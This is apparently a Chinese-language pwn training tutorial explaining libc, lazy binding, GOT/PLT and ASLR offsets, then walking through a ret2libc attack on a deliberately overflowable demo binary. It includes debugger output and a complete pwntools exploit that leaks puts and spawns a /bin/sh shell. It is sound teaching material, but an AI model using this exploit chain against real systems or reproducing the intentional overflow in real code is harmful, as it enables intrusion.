C0nvR3 Lab

Search workspace

Keyboard shortcuts

Ctrl + K
Open search
Esc
Close menu or dialog

How2pwn\1-4-ret2libc\index.md

1-4 ret2libc

Table of contents

在前面几章的学习中,我们都提供了一些方便的 gadget 或后门函数,那么如果这些东西都消失了我们应该怎么办?

libc

libc 是 Linux 程序中最基础、最常用的一类函数库,可以理解为程序和操作系统之间的“工具箱”。

在编写 C 程序时,我们经常会使用下面这些函数:

printf("Hello\n");
strlen("hello");
malloc(100);
free(ptr);
read(fd, buf, 100);

这些函数大多不是程序员自己实现的,而是由 libc 提供。

libc 中常见的功能包括:

  • 输入输出,例如 printfputsscanf
  • 字符串处理,例如 strlenstrcpymemcpy
  • 内存管理,例如 malloccallocfree
  • 文件操作,例如 fopenfreadfwrite
  • 进程控制,例如 forkexecveexit
  • 对 Linux 系统调用的封装,例如 readwriteopen

libc 中的函数通常并不是程序本身的一部分,而是存放在一个单独的共享库文件中。程序运行时,系统会将 libc 加载到进程的内存中,程序再调用其中的函数

这样做有几个好处:

  1. 不同程序都可以直接使用 printfmalloc 等函数,不需要每个程序重新编写一遍。

  2. 多个程序可以共享同一份 libc,而不需要把所有库函数的代码都复制到自己的可执行文件中。

  3. Linux 内核真正提供的是系统调用,但直接使用系统调用比较麻烦。libc 会将它们封装成更容易使用的函数。

例如:

程序调用 read()
进入 libc 中的 read 函数
libc 发起 read 系统调用
进入 Linux 内核读取数据

需要注意的是,并不是所有 libc 函数都会进入内核。

例如:

  • strlen 只是在用户空间计算字符串长度,通常不需要进入内核
  • printf 会先在用户空间处理格式和缓冲区,必要时再通过 write 系统调用输出数据
  • malloc 通常先管理进程已有的堆内存,内存不足时才可能通过系统调用向内核申请更多内存

libc 是对这类 C 基础函数库的统称,而 glibc 是 libc 的一种具体实现

glibc 的完整名称是 GNU C Library,它是大多数 Linux 发行版默认使用的 libc

延迟绑定

程序在调用 libc 中的函数时,需要知道这个函数在内存中的实际地址

例如,程序中调用:

puts("Hello");

puts 的代码位于 libc 中,但 libc 每次运行时加载到内存中的位置可能不同,因此编译程序时通常无法直接确定 puts 的最终地址

Linux 动态链接器需要在程序运行时完成函数地址的解析和绑定

所谓延迟绑定(Lazy Binding),就是:

程序启动时先不解析所有外部函数,等某个函数第一次被调用时,再查找并记录它的真实地址

这样可以减少程序启动时的工作量

延迟绑定主要依靠两个结构完成:

  • PLT:过程链接表,负责跳转和调用
  • GOT:全局偏移表,负责保存函数的真实地址

程序通常不会直接调用 libc 中的 puts,而是先调用程序自身的 puts@plt

call puts@plt

puts@plt 再根据 GOT 表中的内容决定下一步跳转到哪里

第一次调用函数

假设程序第一次调用 puts,此时 GOT 中还没有保存 puts 的真实地址。

执行过程可以简化为:

程序调用 puts@plt
puts@plt 查看 puts 对应的 GOT 表项
GOT 中还没有 puts 的真实地址
跳转到动态链接器
动态链接器在 libc 中查找 puts
将 puts 的真实地址写入 GOT
跳转到真正的 puts 函数

也就是说,第一次调用时,动态链接器需要进行一次符号查找

后续调用函数

第一次调用完成后,puts 的真实地址已经被写入 GOT

之后再次调用时:

程序调用 puts@plt
puts@plt 查看 GOT
GOT 中已经保存 puts 的真实地址
直接跳转到 libc 中的 puts

后续调用不再需要动态链接器重新解析,因此速度会更快

RELRO

延迟绑定也意味着某些 GOT 表项在程序运行过程中需要被修改

为了增强安全性,程序可以使用立即绑定,在启动时一次性解析所有函数,并将 GOT 设置为只读

这通常与 Full RELRO 一起使用

libc的利用

在程序本身没有 system() 等函数时,但其加载的 libc 库中并不一定没有我们需要的目标函数,因此我们只要能知道目标函数在 libc 库中的地址即可完成调用

地址关系

因为 ASLR 保护的存在,libc 库被加载到进程中的地址是随机的,需要注意,真正随机变化的主要是 libc 整体被加载到哪里,也就是它的基址 libc 内部各个函数之间的相对位置通常不会改变

**基址(Base Address)**是一个文件或内存区域被加载到虚拟内存中的起始地址

例如,某次运行中 libc 从下面的位置开始:

libc 基址 = 0x7ffff7c00000

那么 libc 中的代码、数据和函数地址,都会以这个地址作为起点

**偏移(Offset)**表示某个函数或数据距离 libc 开头有多远

假设在某个版本的 libc 中,puts 函数距离 libc 开头的偏移是:

puts 偏移 = 0x80e50

某次运行时,libc 的基址是:

libc 基址 = 0x7ffff7c00000

那么 puts 的实际地址就是:

puts 地址 = libc 基址 + puts 偏移
          = 0x7ffff7c00000 + 0x80e50
          = 0x7ffff7c80e50

因此可以得到基本公式:

函数实际地址 = libc 基址 + 函数偏移

每次运行时,这个 libc 文件可能整体移动到不同位置,但 putsprintfsystem 相对于 libc 开头的距离仍然相同

计算 libc 基址

如果通过程序漏洞泄漏出了某个 libc 函数的实际地址,并且知道该函数在 libc 文件中的偏移,就可以反推出 libc 基址

公式为:

libc 基址 = 函数实际地址 - 函数偏移

例如:

泄漏得到 puts 地址 = 0x7ffff7c80e50
puts 偏移           = 0x80e50

那么:

libc 基址 = 0x7ffff7c80e50 - 0x80e50
          = 0x7ffff7c00000

得到 libc 基址后,就可以继续计算其他函数的地址

假设 system 在该 libc 中的偏移为 0x50d70

system 地址 = libc 基址 + system 偏移
            = 0x7ffff7c00000 + 0x50d70
            = 0x7ffff7c50d70

注意:不同 libc 版本的偏移可能不同 函数偏移并不是永远固定的,它只对某一个具体的 libc 文件成立

例如:

glibc 版本 A:

puts 偏移 = 0x80e50
glibc 版本 B:

puts 偏移 = 0x87bd0

因为不同版本的 glibc 代码实现、编译选项和内部结构可能不同,所以函数在文件中的位置也可能不同

因此,在 PWN 中不仅要泄漏函数地址,还需要确定目标程序使用的是哪个 libc 文件 使用错误版本的 libc 偏移,会计算出错误的基址和函数地址

ret2libc

长篇大论的理论结束了,现在我们开始实战 依旧附带一个 demo

点击查看
#include <stdio.h>
#include <stdlib.h>

void vuln(){
    char buf[0x20];
    read(0,buf,0x100);
}

void main(){
    puts("welcome to ret2libc challenge");
    vuln();
}

使用以下命令编译

gcc demo.c -o demo -no-pie -fno-stack-protector

这次我们发现,程序中可以利用的部分变得很有限了,既没有 system() 函数,也没有 “/bin/sh"字符串,那我们就得考虑一下借用 libc 的力量了 这里可以掏出工具 ldd

❯ ldd demo
        linux-vdso.so.1 (0x00007ffd7d1c1000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000071dc1c000000)
        /lib64/ld-linux-x86-64.so.2 (0x000071dc1c309000)

我们可以这样查询程序的链接情况,并了解到程序使用的 libc 库就是这里的 /lib/x86_64-linux-gnu/libc.so.6 我们可以在 exp 中添加一下 libcdemo 方便后续的查询

elf = ELF('./demo')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

继续分析程序,在 vuln 中有一个巨大的溢出,我们应该从这里尝试泄露 libc 的基址 根据我们上文提到的 got 和 plt 相关知识,如果我们想要调用一个库函数,例如 puts(),我们可以调用 puts@plt,此时若未完成函数地址解析,则会将 puts()在libc中的真实地址解析出来并填入 puts@got,这就是一个很直接的泄露位置 假如我们直接运行程序并在调用puts前下断点

pwndbg> disas main
Dump of assembler code for function main:
   0x0000000000401180 <+0>:     endbr64
   0x0000000000401184 <+4>:     push   rbp
   0x0000000000401185 <+5>:     mov    rbp,rsp
   0x0000000000401188 <+8>:     lea    rax,[rip+0xe75]        # 0x402004
   0x000000000040118f <+15>:    mov    rdi,rax
   0x0000000000401192 <+18>:    call   0x401050 <puts@plt>
   0x0000000000401197 <+23>:    mov    eax,0x0
   0x000000000040119c <+28>:    call   0x401156 <vuln>
   0x00000000004011a1 <+33>:    nop
   0x00000000004011a2 <+34>:    pop    rbp
   0x00000000004011a3 <+35>:    ret
End of assembler dump.
pwndbg> b *0x0000000000401192
Breakpoint 1 at 0x401192

此时我们查看 puts 的 got表项

pwndbg> got

/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000403fd8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000404008 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

pwndbg> x/gx 0x0000000000404000
0x404000 <puts@got[plt]>:       0x0000000000401030

可以看到此处对应 got表项还未被填入正确的 libc 上的真实地址,我们单步执行到完成 call puts@plt之后

pwndbg> got

/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000403fd8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000404008 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

pwndbg> x/gx 0x0000000000404000
0x404000 <puts@got[plt]>:       0x00007ffff7c87cc0

此时发现地址发生了变化,我们对应一下 vmmap 中的情况

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 demo
          0x401000           0x402000 r-xp     1000    1000 demo
          0x402000           0x403000 r--p     1000    2000 demo
          0x403000           0x404000 r--p     1000    2000 demo
          0x404000           0x405000 rw-p     1000    3000 demo
          0x405000           0x426000 rw-p    21000       0 [heap]
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
    0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000       0 [anon_7ffff7fa8]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000       0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000       0 [stack]

发现这个范围刚好处于我们刚刚提到的 libc文件映射的范围内,因此,我们如果可以调用 puts@plt ,并将 rdi 设置为 puts@got,那么就可以泄露出一个 libc上的地址,从而计算 libc 基址 我们可以写出 payload

payload1 = cyclic(0x28) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])

我们此时执行 exp,会发现程序输出了一些奇形怪状的东西

❯ python3 exp.py
[+] Starting local process './demo': pid 36168
[*] '/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
\xc0|\xa8\xfd\xbcq
[*] Got EOF while reading in interactive
$

这里的\xc0|\xa8\xfd\xbcq似乎就是我们泄露的内容,但是我们需要想办法把他变成能够被使用的地址 我们可以使用

context.log_level = 'debug'

设置 context 详细程度为debug,这样我们就可以看到更详细的 debug 信息

[DEBUG] Sent 0x41 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
    00000020  69 61 61 61  6a 61 61 61  ac 11 40 00  00 00 00 00  │iaaa│jaaa│··@·│····│
    00000030  00 40 40 00  00 00 00 00  54 10 40 00  00 00 00 00  │·@@·│····│T·@·│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x7 bytes:
    00000000  c0 7c 88 dc  d3 73 0a                               │·|··│·s·│
    00000007

再次执行,输出内容就可以更方便的看见输出的内容了 除去puts输出的换行符,前面六个字节就是我们泄露出来的 puts@got内的地址 使用 pwntools 提供的 u64 进行解包

leak = u64(io.recv(6).ljust(8,b'\x00'))

再减去 puts()libc 中真实地址的偏移即可算出 libc基址

leak = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
log.info(hex(libc_base))

alt text
可以看到我们成功得到了 libc 的基址,此时即可随意调用 libc 上的函数了

我们修正刚刚的第一个payload,在最后加上一个 p64(vuln)让程序再次调用 vuln()函数,方便我们在泄露 libc 基址后再次构造 payload 现在我们需要寻找 libc 上的 system()"/bin/sh"字符串

binsh_addr = libc.search(b"/bin/sh").__next__() + libc_base
system_addr = libc.sym['system'] + libc_base

这里 binsh_addr我们添加一个.__next__()因为 libc 上存在的该字符串并不一定就只有一个,确保返回libc中第一个binsh的地址

因此可以构造出第二段 payload

payload2 = cyclic(0x28) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

完整 exp:

exp
#!/usr/bin/python3
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
ELF_PATH = './demo'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'

io = process(ELF_PATH)
elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)

vuln = 0x40119C
pop_rdi = 0x4011AC

io.recvuntil(b'welcome to ret2libc challenge\n')
payload1 = cyclic(0x28) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
io.sendline(payload1)
leak = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
log.info(hex(libc_base))

binsh_addr = libc.search(b"/bin/sh").__next__() + libc_base
system_addr = libc.sym['system'] + libc_base
payload2 = cyclic(0x28) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)

io.interactive()

练习题

welcomeback

我 gadget 呢?哒哒哒滴哒哒 我不到啊?

welcomeback

Terminal

C0nvR3 Lab terminal ready. Type help for commands.